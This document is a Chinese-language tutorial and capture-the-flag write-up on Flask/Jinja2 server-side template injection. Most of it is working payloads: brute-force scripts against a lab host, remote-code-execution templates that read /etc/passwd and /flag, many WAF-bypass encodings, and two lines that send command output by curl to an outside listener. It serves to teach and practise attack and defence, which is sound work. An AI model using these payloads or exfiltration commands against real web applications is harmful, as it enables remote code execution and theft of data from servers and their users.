xxxxxxxxxx151import requests2
3headers = {4 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'5}6
7for i in range(500):8 url = "http://192.168.173.66:5000/ssti?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"9
10 res = requests.get(url=url, headers=headers)11 if '_frozen_importlib.BuiltinImporter' in res.text:12 print(i)13
14# 得到编号为10415
构造如下payload即可执行命令:
xxxxxxxxxx11{{[].__class__.__base__.__subclasses__()[104]["load_module"]("os")["popen"]("whoami").read()}}
寻找 linecache 函数执行命令 linecache 这个函数可用于读取任意一个文件的某一行,而这个函数中也引入了 os 模块,所以我们也可以利用这个 linecache 函数去执行命令。 首先编写脚本遍历目标Python环境中含有 linecache 这个函数的子类的索引号:
xxxxxxxxxx211import requests2
3headers = {4 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'5}6
7for i in range(500):8 url = "http://192.168.173.66:5000/ssti?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"9
10 res = requests.get(url=url, headers=headers)11 if 'linecache' in res.text:12 print(i)13
14# 得到一堆子类的索引:15
162771727818322193252032621327随便挑一个子类构造payload即可:
xxxxxxxxxx31{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__['linecache']['os'].popen('whoami').read()}}23{{[].__class__.__base__.__subclasses__()[191].__init__.__globals__.linecache.os.popen('whoami').read()}}
寻找 subprocess.Popen 类执行命令 从python2.4版本开始,可以用 subprocess 这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。 subprocess 意在替代其他几个老的模块或者函数,比如:os.system、os.popen 等函数。
利用字符串拼接绕过 我们可以利用“+”进行字符串拼接,绕过关键字过滤,例如上述读取文件的 Payload,我们可以进行如下修改:
xxxxxxxxxx11{{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/pa"+"sswd")}}
xxxxxxxxxx31{{().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']('__import__("o"+"s").popen("ls /").read()')}}23{{().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__buil'+'tins__']['eval']('__import__("os").popen("ls /").read()')}}
只要返回的是字典类型的或是字符串格式的,即payload中引号内的,在调用的时候都可以使用字符串拼接绕过。
我们可以利用对关键字编码的方法,绕过关键字过滤,例如用base64编码绕过(是否能用取决于这个网站是否引入base64模块):
xxxxxxxxxx11{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}
等同于:
xxxxxxxxxx11{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
可以看到,在payload中,只要是字符串的,即payload中引号内的,都可以用编码绕过。同理还可以进行rot13、16进制编码等。
我们可以利用unicode编码的方法,绕过关键字过滤,例如:
xxxxxxxxxx31{{().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']['\u0065\u0076\u0061\u006c']('__import__("os").popen("ls /").read()')}}23{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\u006f\u0073'].popen('\u006c\u0073\u0020\u002f').read()}}
等同于:
xxxxxxxxxx31{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}23{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
和上面那个一样,只不过将Unicode编码换成了Hex编码,适用于过滤了“u”的情况。 我们可以利用hex编码的方法,绕过关键字过滤,例如:
xxxxxxxxxx31{{().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}23{{().__class__.__base__.__subclasses__()[400].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}
等同于:
xxxxxxxxxx31{{().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}23{{().__class__.__base__.__subclasses__()[400].__init__.__globals__['os'].popen('ls /').read()}}
我们可以利用引号来绕过对关键字的过滤。例如,过滤了flag,那么我们可以用 fl""ag 或 fl''ag 的形式来绕过:
xxxxxxxxxx11{{[].__class__.__base__.__subclasses__()[79].get_data(0,"/etc/pass""wd")}}
再如:
xxxxxxxxxx31{{().__class__.__base__.__subclasses__()[400].__init__.__globals__['o''s'].popen('ls').read()}}23{{().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__buil''tins__']['eval']('__import__("os").popen("ls /").read()')}}
可以看到,在payload中,只要是字符串的,即payload中引号内的,都可以用引号绕过。
我们可以利用join()函数来绕过关键字过滤。例如,题目过滤了passwd,那么我们可以用如下方法绕过:
xxxxxxxxxx11?name={{[].__class__.__base__.__subclasses__()[79]["get_data"](0, "/etc/passw".join("/d"))}}
利用**__getitem__()**绕过
可以使用__getitem__()方法输出序列属性中的某个索引处的元素,如:
xxxxxxxxxx31"".__class__.__mro__[1]2"".__class__.__mro__.__getitem__(2)3['__builtins__'].__getitem__('eval')
如下示例:
xxxxxxxxxx31{{''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(79).__dict__.__getitem__("get_data")(0,"/etc/passwd")}} // 指定序列属性23{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(64).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}} // 指定字典属性
利用 pop() 绕过 pop()方法可以返回指定序列属性中的某个索引处的元素或指定字典属性中某个键对应的值,如下示例:
xxxxxxxxxx31{{''.__class__.__mro__.__getitem__(1).__subclasses__().pop(79).__dict__.__getitem__("get_data")(0,"/etc/passwd")}} // 指定序列属性23{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(79).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}} // 指定字典属性
注意:最好不要用pop(),因为pop()会删除相应位置的值。 利用字典读取绕过 我们知道访问字典里的值有两种方法,一种是把相应的键放入熟悉的方括号 [] 里来访问,一种就是用点 . 来访问。所以,当方括号 [] 被过滤之后,我们还可以用点 . 的方式来访问,如下示例
xxxxxxxxxx31// __builtins__.eval()23{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(64).__init__.__globals__.__builtins__.eval('__import__("os").popen("ls /").read()')}}
等同于:
xxxxxxxxxx31// [__builtins__]['eval']()23{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
利用chr()绕过 先获取chr()函数,赋值给chr,后面再拼接成一个字符串
xxxxxxxxxx41{% set chr=().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__.__builtins__.chr%}{% set a = chr(47)~chr(101)~chr(116)~chr(99)~chr(47)~chr(112)~chr(97)~chr(115)~chr(115)~chr(119)~chr(100) %}{{().__class__.__bases__[0].__subclasses__().pop(79)['get_data'](0,a)}}23# {% set chr=().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__.__builtins__.chr%}{% set a = chr(47)%2Bchr(101)%2Bchr(116)%2Bchr(99)%2Bchr(47)%2Bchr(112)%2Bchr(97)%2Bchr(115)%2Bchr(115)%2Bchr(119)%2Bchr(100) %}{{().__class__.__bases__[0].__subclasses__().pop(79)['get_data'](0,a)}}4
等同于
xxxxxxxxxx11{% set chr=().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__.__builtins__.chr%}{% set a = '/etc/passwd' %}{{().__class__.__bases__[0].__subclasses__().pop(79)['get_data'](0,a)}}
利用request对象绕过 示例:
xxxxxxxxxx31{{''.__class__.__mro__.__getitem__(1).__subclasses__().pop(79).__dict__.get_data(0,request.args.path)}}&path=/etc/passwd23{{().__class__.__base__.__subclasses__()[400].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=ls /
等同于:
xxxxxxxxxx31{{''.__class__.__mro__.__getitem__(1).__subclasses__().pop(79).__dict__['get_data'](0,'/etc/passwd')}}23{{().__class__.__base__.__subclasses__()[400].__init__.__globals__['os'].popen('ls /').read()}}
如果过滤了args,可以将其中的request.args改为request.values,POST和GET两种方法传递的数据request.values都可以接收。
利用request对象绕过
xxxxxxxxxx31{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[79][request.args.getdata](0,'/etc/passwd')}}&class=__class__&bases=__bases__&subclasses=__subclasses__&getdata=get_data23{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[400][request.args.init][request.args.glo]['os'].popen('ls /').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__&init=__init__&glo=__globals__
等同于:
xxxxxxxxxx31{{().__class__.__bases__[0].__subclasses__().pop(79).get_data(0,'/etc/passwd')}}23{{().__class__.__base__.__subclasses__()[400].__init__.__globals__['os'].popen('ls /').read()}}
利用 |attr() 绕过(适用于flask) 如果 . 也被过滤,且目标是JinJa2(flask)的话,可以使用原生JinJa2函数attr(),即:
xxxxxxxxxx11().__class__ => ()|attr("__class__")
示例:
xxxxxxxxxx11{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(400)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}
等同于:
xxxxxxxxxx11{{().__class__.__base__.__subclasses__()[400].__init__.__globals__['os'].popen('ls /').read()}}
利用中括号[ ]绕过 如下示例:
xxxxxxxxxx11{{''['__class__']['__bases__'][0]['__subclasses__']()[64]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
等同于:
xxxxxxxxxx11{{().__class__.__bases__.[0].__subclasses__().[64].__init__['__globals__']['__builtins__'].eval('__import__("os").popen("ls /").read()')}}
这样的话,那么 class、bases 等关键字就成了字符串,就都可以用前面所讲的关键字绕过的姿势进行绕过了。
我们可以用Jinja2的 {%...%} 语句装载一个循环控制语句来绕过:
xxxxxxxxxx11{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
也可以使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带(不外带的话无回显)出来:
xxxxxxxxxx41{% if ''.__class__.__base__.__subclasses__()[191].__init__.__globals__.linecache.os.popen('curl http://10.3.66.102:2333/?key=`cat /etc/passwd`')%}1{% endif %}23# 开启 nc 监听 nc -lvp 23334
也可以用 {%print(......)%} 的形式来代替 {{ ,如下:
xxxxxxxxxx41{%print(''.__class__.__base__.__subclasses__()[400].__init__.__globals__['os'].popen('curl http://10.3.66.102:2333/?key=`whoami`').read())%}23# 开启 nc 监听 nc -lvp 23334
利用 |attr() 来Bypass 这里说一个新东西,就是原生JinJa2函数 attr(),这是一个 attr() 过滤器,它只查找属性,获取并返回对象的属性的值,过滤器与变量用管道符号( | )分割。如:
xxxxxxxxxx11foo|attr("bar") 等同于 foo["bar"]
|attr() 配合其他姿势可同时绕过双下划线 __ 、引号、点 . 和 [ 等,下面给出示例。
过滤了以下字符:
xxxxxxxxxx11. [
绕过姿势:
xxxxxxxxxx11{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(400)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
等同于:
xxxxxxxxxx11{{().__class__.__base__.__subclasses__()[400].__init__.__globals__['os'].popen('ls').read()}}
过滤了以下字符:
xxxxxxxxxx11__ . [ "
下面我们演示绕过姿势,先写出payload的原型:
xxxxxxxxxx11{{().__class__.__base__.__subclasses__()[400].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
由于中括号 [ 被过滤了,我们可以用__getitem__() 来绕过(尽量不要用pop()),类似如下:
xxxxxxxxxx11{{().__class__.__base__.__subclasses__().__getitem__(400).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}}
由于还过滤了下划线 __ ,我们可以用request对象绕过,但是还过滤了中括号 [],所以我们要同时绕过 __ 和 [,就用到了我们的|attr()
所以最终的payload如下:
xxxxxxxxxx11{{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(400)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('ls /').read()
过滤了以下字符:
xxxxxxxxxx11' request {{ _ %20(空格) [ ] . __globals__ __getitem__
我们用 {%...%}绕过对 {{ 的过滤,并用unicode绕过对关键字的过滤。unicode绕过是一种网上没提出的方法。 假设我们要构造的payload原型为:
xxxxxxxxxx11{{().__class__.__base__.__subclasses__()[400].__init__.__globals__['os'].popen('ls').read()}}
先用 |attr 绕过 . 和 []:
xxxxxxxxxx11{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(400)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
我们可以将过滤掉的字符用unicode替换掉:
xxxxxxxxxx11{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(400)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()}}
和上面那个一样,只不过是将Unicode编码换成了Hex编码,适用于“u”被过滤了的情况。 我们可以将过滤掉的字符用Hex编码替换掉:
xxxxxxxxxx11{{()|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")|attr("\x5f\x5f\x62\x61\x73\x65\x5f\x5f")|attr("\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f")()|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")(400)|attr("\x5f\x5f\x69\x6e\x69\x74\x5f\x5f")|attr("\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f")|attr("\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f")("os")|attr("popen")("cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")|attr("read")()}}
在 Flask JinJa 中,内只有很多过滤器可以使用,前文的attr()就是其中的一个过滤器。变量可以通过过滤器进行修改,过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数,也可以没有参数,过滤器函数可以带括号也可以不带括号。可以使用管道符号(|)连接多个过滤器,一个过滤器的输出应用于下一个过滤器。 详情请看官方文档:https://jinja.palletsprojects.com/en/master/templates/#builtin-filters 以下是内置的所有的过滤器列表:
可以自行点击每个过滤器去查看每一种过滤器的作用。我们就是利用这些过滤器,一步步的拼接出我们想要的字符、数字或字符串。 常用字符获取入口点
xxxxxxxxxx41{% set org = ({ }|select()|string()) %}{{org}}2{% set org = (self|string()) %}{{org}}3{% set org = self|string|urlencode %}{{org}}4{% set org = (app.__doc__|string) %}{{org}}
如下演示:
xxxxxxxxxx11{% set org = ({ }|select()|string()) %}{{org}}
上上图所示,我们可以通过 <generator object select_or_reject at 0x7fe339298fc0> 字符串获取的字符有:尖号、字母、空格、下划线和数字。
如上图所示,可以通过 <TemplateReference None> 字符串获取的字符有:尖号、字母和空格。
xxxxxxxxxx11{% set org = self|string|urlencode %}{{org}}
如上图所示,可以获得的字符除了字母以外还有百分号,这一点比较重要,因为如果我们控制了百分号的话我们可以获取任意字符。
xxxxxxxxxx11{% set org = (app.__doc__|string) %}{{org}}
xxxxxxxxxx31{% set num = (self|int) %}{{num}} # 0, 通过int过滤器获取数字2{% set num = (self|string|length) %}{{num}} # 24, 通过length过滤器获取数字3{% set point = self|float|string|min %} # 通过float过滤器获取点 .
有了数字0之后,我们便可以依次将其余的数字全部构造出来,原理就是加减乘除、平方等数学运算。
题目源码:
xxxxxxxxxx401
2#!/usr/bin/env python3
4
5# -*- coding: utf-8 -*-6
7from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory8app = Flask(__name__)9
10
11.route("/")12def index():13 def safe_jinja(s):14 blacklist = ['class', 'attr', 'mro', 'base',15 'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']16 flag = True17 for no in blacklist:18 if no.lower() in s.lower():19 flag = False20 break21 return flag22 if not request.args.get('name'):23 return open(__file__).read()24 elif safe_jinja(request.args.get('name')):25 name = request.args.get('name')26 else:27 name = 'wendell'28 template = '''29
30 <div class="center-content">31 <p>Hello, %s</p>32 </div>33 <!--flag in /flag-->34 <!--python3.8-->35''' % (name)36 return render_template_string(template)37
38
39if __name__ == "__main__":40 app.run(host='0.0.0.0', port=5000)可以看到题目过滤的死死地,最关键是把attr也给过滤了的话,这就很麻烦了,但是我们还可以用过滤器进行绕过。 在存在ssti的地方执行如下payload:
xxxxxxxxxx41{% set org = ({ }|select()|string()) %}{{org}}23# 或 {% set org = ({ }|select|string) %}{{org}}4
可以看到,我们得到了一段字符串:<generator object select_or_reject at 0x7f3684f2f3e0>,这段字符串中不仅存在字符,还存在空格、下划线,尖号和数字。也就是说,如果题目过滤了这些字符的话,我们便可以在 <generator object select_or_reject at 0x7f3684f2f3e0> 这个字符串中取到我们想要的字符,从而绕过过滤。
然后我们在使用list()过滤器将字符串转化为列表:
xxxxxxxxxx11{% set orglst = ({ }|select|string|list) %}{{orglst}}
如上图所示,反回了一个列表,列表中是 <generator object select_or_reject at 0x7f3684f2f3e0> 这个字符串的每一个字符。接下来我们便可以使用使用pop()等方法将列表里的字符取出来了。如下所示,我们取一个下划线 _:
xxxxxxxxxx11{% set xhx = (({ }|select|string|list).pop(24)|string) %}{{xhx}} # _
同理还能取到更多的字符:
xxxxxxxxxx51{% set space = (({ }|select|string|list).pop(10)|string) %}{{spa}} # 空格2{% set xhx = (({ }|select|string|list).pop(24)|string) %}{{xhx}} # _3{% set zero = (({ }|select|string|list).pop(38)|int) %}{{zero}} # 04{% set seven = (({ }|select|string|list).pop(40)|int) %}{{seven}} # 75......
这里,其实有了数字0之后,我们便可以依次将其余的数字全部构造出来,原理就是加减乘除、平方等数学运算,如下示例:
xxxxxxxxxx91{% set zero = (({ }|select|string|list).pop(38)|int) %} # 02{% set one = (zero**zero)|int %}{{one}} # 13{%set two = (zero-one-one)|abs %} # 24{%set three = (zero-one-one-one)|abs %} # 35{% set five = (two*two*two)-one-one-one %} # 567# {%set four = (one+three) %} 注意, 这样的加号的是不行的,只能用减号配合abs取绝对值了89......
通过上述原理,我们可以依次获得构造payload所需的特殊字符与字符串:
xxxxxxxxxx3212# 首先构造出所需的数字:34{% set zero = (({ }|select|string|list).pop(38)|int) %} # 05{% set one = (zero**zero)|int %} # 16{% set two = (zero-one-one)|abs %} # 27{% set four = (two*two)|int %} # 48{% set five = (two*two*two)-one-one-one %} # 59{% set seven = (zero-one-one-five)|abs %} # 71011# 构造出所需的各种字符与字符串:1213{% set xhx = (({ }|select|string|list).pop(24)|string) %} # _14{% set space = (({ }|select|string|list).pop(10)|string) %} # 空格15{% set point = ((app.__doc__|string|list).pop(26)|string) %} # .16{% set left = ((app.__doc__|string|list).pop(195)|string) %} # 左括号 (17{% set right = ((app.__doc__|string|list).pop(199)|string) %} # 右括号 )18{% set yin = ((app.__doc__|string|list).pop(206)|string) %} # 单引号 '1920{% set c = dict(c=aa)|reverse|first %} # 字符 c21{% set bfh = self|string|urlencode|first %} # 百分号 %22{% set bfhc=bfh~c %} # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接23{% set slas = bfhc%((four~seven)|int) %} # 使用%c构造斜杠 /24{% set but = dict(buil=aa,tins=dd)|join %} # builtins25{% set imp = dict(imp=aa,ort=dd)|join %} # import26{% set pon = dict(po=aa,pen=dd)|join %} # popen27{% set os = dict(o=aa,s=dd)|join %} # os28{% set ca = dict(ca=aa,t=dd)|join %} # cat29{% set flg = dict(fl=aa,ag=dd)|join %} # flag30{% set ev = dict(ev=aa,al=dd)|join %} # eval31{% set red = dict(re=aa,ad=dd)|join %} # read32{% set bul = xhx*2~but~xhx*2 %} # __builtins__
将上面构造的字符或字符串拼接起来构造出__import__('os').popen('cat /flag').read():
xxxxxxxxxx11{% set pld = xhx*2~imp~xhx*2~left~yin~os~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}
如上图所示,成功构造出了 import('os').popen('cat /flag').read() 。 然后将上面构造的各种变量添加到SSTI万能payload里面就行了:
xxxxxxxxxx91{% for f,v in whoami.__init__.__globals__.items() %} # globals2{% if f == bul %}3{% for a,b in v.items() %} # builtins4{% if a == ev %} # eval5{{b(pld)}} # eval("__import__('os').popen('cat /flag').read()")6{% endif %}7{% endfor %}8{% endif %}9{% endfor %}
所以最终的payload为:
xxxxxxxxxx11http://192.168.173.66:5000/?name={% set zero = (({ }|select|string|list).pop(38)|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs|int %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set seven = (zero-one-one-five)|abs %}{% set xhx = (({ }|select|string|list).pop(24)|string) %}{% set space = (({ }|select|string|list).pop(10)|string) %}{% set point = ((app.__doc__|string|list).pop(26)|string) %}{% set yin = ((app.__doc__|string|list).pop(206)|string) %}{% set left = ((app.__doc__|string|list).pop(195)|string) %}{% set right = ((app.__doc__|string|list).pop(199)|string) %}{% set c = dict(c=aa)|reverse|first %}{% set bfh=self|string|urlencode|first %}{% set bfhc=bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set os = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx*2~but~xhx*2 %}{% set pld = xhx*2~imp~xhx*2~left~yin~os~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in whoami.__init__.__globals__.items() %}{% if f == bul %}{% for a,b in v.items() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}
源码获取:baby_flask.zip 在 /getname?name= 处存在SSTI。
F12查看源代码发现提示过滤了一下字符:
过滤的死死地,甚至将所有的数字都过滤了。我们仍然可以使用通过滤器进行绕过,经过之前那道题的演示,我们可以很容易的构造出被过滤了的字符或字符串。 Payload构造过程如下:
xxxxxxxxxx5512# 首先构造出所需的数字:34{% set zero = (self|int) %} # 0, 也可以使用lenght过滤器获取数字5{% set one = (zero**zero)|int %} # 16{% set two = (zero-one-one)|abs %} # 27{% set four = (two*two)|int %} # 48{% set five = (two*two*two)-one-one-one %} # 59{% set three = five-one-one %} # 310{% set nine = (two*two*two*two-five-one-one) %} # 911{% set seven = (zero-one-one-five)|abs %} # 71213# 构造出所需的各种字符与字符串:1415{% set space = self|string|min %} # 空格16{% set point = self|float|string|min %} # .1718{% set c = dict(c=aa)|reverse|first %} # 字符 c19{% set bfh = self|string|urlencode|first %} # 百分号 %20{% set bfhc = bfh~c %} # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接21{% set slas = bfhc%((four~seven)|int) %} # 使用%c构造斜杠 /22{% set yin = bfhc%((three~nine)|int) %} # 使用%c构造引号 '23{% set xhx = bfhc%((nine~five)|int) %} # 使用%c构造下划线 _24{% set right = bfhc%((four~one)|int) %} # 使用%c构造右括号 )25{% set left = bfhc%((four~zero)|int) %} # 使用%c构造左括号 (2627{% set but = dict(buil=aa,tins=dd)|join %} # builtins28{% set imp = dict(imp=aa,ort=dd)|join %} # import29{% set pon = dict(po=aa,pen=dd)|join %} # popen30{% set so = dict(o=aa,s=dd)|join %} # os31{% set ca = dict(ca=aa,t=dd)|join %} # cat32{% set flg = dict(fl=aa,ag=dd)|join %} # flag33{% set ev = dict(ev=aa,al=dd)|join %} # eval34{% set red = dict(re=aa,ad=dd)|join %} # read35{% set bul = xhx~xhx~but~xhx~xhx %} # __builtins__3637{% set ini = dict(ini=aa,t=bb)|join %} # init38{% set glo = dict(glo=aa,bals=bb)|join %} # globals39{% set itm = dict(ite=aa,ms=bb)|join %} # items4041# 将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read():4243{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}4445# 然后将上面构造的各种变量添加到SSTI万能payload里面就行了:4647{% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %} # globals48{% if f == bul %}49{% for a,b in (v|attr(itm))() %} # builtins50{% if a == ev %} # eval51{{b(pld)}} # eval("__import__('os').popen('cat /flag').read()")52{% endif %}53{% endfor %}54{% endif %}55{% endfor %}
最后的payload如下
xxxxxxxxxx11{% set zero = (self|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set three = five-one-one %}{% set nine = (two*two*two*two-five-one-one) %}{% set seven = (zero-one-one-five)|abs %}{% set space = self|string|min %}{% set point = self|float|string|min %}{% set c = dict(c=aa)|reverse|first %}{% set bfh = self|string|urlencode|first %}{% set bfhc = bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set yin = bfhc%((three~nine)|int) %}{% set xhx = bfhc%((nine~five)|int) %}{% set right = bfhc%((four~one)|int) %}{% set left = bfhc%((four~zero)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set so = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx~xhx~but~xhx~xhx %}{% set ini = dict(ini=aa,t=bb)|join %}{% set glo = dict(glo=aa,bals=bb)|join %}{% set itm = dict(ite=aa,ms=bb)|join %}{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %}{% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}
环境部署
xxxxxxxxxx11docker run -d -p 5000:5000 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:flaskhaha
打开题目一看,是一个炫酷的demo演示,这种demo一般是没有啥东西好挖的。首先F12信息收集,发现Python版本是3.5.2,没有Web静态服务器。
随便点开第二个demo发现404了,这里注意到404界面是Flask提供的404界面,按照以往的经验,猜测这里存在SSTI注入。 先尝试简单的payload:
从这里可见,毫无疑问的存在SSTI漏洞了。 那么就来康康到底有没有WAF,有的话被过滤了哪些。经过一番测试,确实很多东西都被过滤了,而且是正则表达式直接匹配删去,无法嵌套绕过。不完整测试有以下:
xxxxxxxxxx91config2class3mro4args5request6open7eval8builtins9import
从这里来看,似乎已经完全无法下手了。因为request和class都被过滤掉了。 卡在这里以后,最好的办法就是去查Flask官方文档了。从Flask官方文档里,找到了session对象,经过测试没有被过滤。更巧的是,session一定是一个dict对象,因此我们可以通过键的方法访问相应的类。由于键是一个字符串,因此可以通过字符串拼接绕过。
xxxxxxxxxx11{{session['__cla'+'ss__']}}
访问到了类,我们就可以通过 __bases__ 来获取基类的元组,带上索引0就可以访问到相应的基类。由此一直向上我们就可以访问到最顶层的object基类了。(同样的,如果没有过滤config的话,我们还可以利用config来逃逸,方法与session的相同)
有了对象基类,我们就可以通过访问 __subclasses__ 方法再实例化去访问所有的子类。同样使用字符串拼接绕过WAF,这样就实现沙箱逃逸了。
xxxxxxxxxx11{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()}}
SSTI目的无非就是两个:文件读写、执行命令。因此我们核心应该放在file类和os类。而坑爹的是,Python3几乎换了个遍。因此这里得去看官方文档去找相应的基类的用处。 我还是从os库入手,直接搜索“os”,找到了 os._wrap_close 类,同样使用dict键访问的方法。猜大致范围得到了索引序号,我这里序号是343
xxxxxxxxxx11{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[343]}}
